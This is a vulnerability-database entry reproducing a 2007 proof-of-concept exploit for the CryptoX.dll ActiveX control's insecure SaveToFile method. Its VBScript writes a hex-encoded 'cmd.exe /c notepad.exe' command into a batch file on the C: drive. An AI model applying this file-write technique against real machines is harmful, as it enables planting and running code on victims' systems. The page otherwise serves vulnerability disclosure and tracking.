Lucene search
K

Ultra Crypto Component (CryptoX.dll <= 2.0) SaveToFile() Inscure Method

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 17 Views

Ultra Crypto Component (CryptoX.dll <= 2.0) SaveToFile() Insecure Metho

Code

                                                &#60;pre&#62;
&#60;code&#62;&#60;span style=&#34;font: 10pt Courier New;&#34;&#62;&#60;span class=&#34;general1-symbol&#34;&#62;&#60;body bgcolor=&#34;#E0E0E0&#34;&#62;-------------------------------------------------------------------------------------
 &#60;b&#62;Ultra Crypto Component (CryptoX.dll &#60;= 2.0) &#34;SaveToFile()&#34; Inscure Method&#60;/b&#62;
 url: http://www.ultrashareware.com/

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 &#60;b&#62;We can use the &#34;HexString()&#34; method to save into our batch file some lines.
 In this PoC, I convert &#34;cmd.exe /c notepad.exe&#34; in hexadecimal format, then
 I save it in a batch file :)&#60;/b&#62;
-------------------------------------------------------------------------------------

&#60;object classid=&#39;clsid:FD22F3AE-1450-4BDC-ADBE-6AF210A78C2C&#39; id=&#39;test&#39;&#62;&#60;/object&#62;

&#60;input language=VBScript onclick=tryMe() type=button value=&#34;Click here to start the test&#34;&#62;

&#60;script language=&#39;vbscript&#39;&#62;
 Sub tryMe
  Dim MyMsg  
   test.HexString = &#34;636D642E657865202F63206E6F74657061642E657865&#34; &#39;cmd.exe /c notepad.exe
   test.SaveToFile &#34;c:\shinnai.bat&#34;
   MyMsg = MsgBox(&#34;Exploit completed!&#34;)
 End Sub
&#60;/script&#62;
&#60;/span&#62;&#60;/span&#62;

&#60;/code&#62;&#60;/pre&#62;

# milw0rm.com [2007-09-10]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
17